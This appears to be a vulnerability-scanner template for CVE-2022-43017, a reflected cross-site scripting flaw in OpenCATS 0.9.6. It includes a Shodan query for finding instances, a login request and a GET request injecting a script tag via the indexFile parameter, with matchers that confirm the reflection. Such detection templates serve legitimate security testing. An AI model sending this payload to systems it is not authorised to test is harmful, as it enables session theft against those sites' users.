id: CVE-2022-43017

info:

name: OpenCATS 0.9.6 - Cross-Site Scripting

author: arafatansari

severity: medium

description: |

OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the indexFile component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

reference:

- https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_indexFile.md

- https://nvd.nist.gov/vuln/detail/CVE-2022-43017

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2022-43017

cwe-id: CWE-79

metadata:

shodan-query: title:"OpenCATS"

verified: "true"

tags: cve,cve2022,xss,opencats,authenticated

requests:

- raw:

- |

POST /index.php?m=login&a=attemptLogin HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

username={{username}}&password={{password}}

- |

GET /ajax.php?f=getPipelineJobOrder&joborderID=1&page=0&entriesPerPage=1&sortBy=dateCreatedInt&sortDirection=desc&indexFile=15)"></a><script>alert(document.domain)</script>&isPopup=0 HTTP/1.1

Host: {{Hostname}}

cookie-reuse: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- '<script>alert(document.domain)</script>'

- 'CATS='

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

# Enhanced by md on 2022/12/13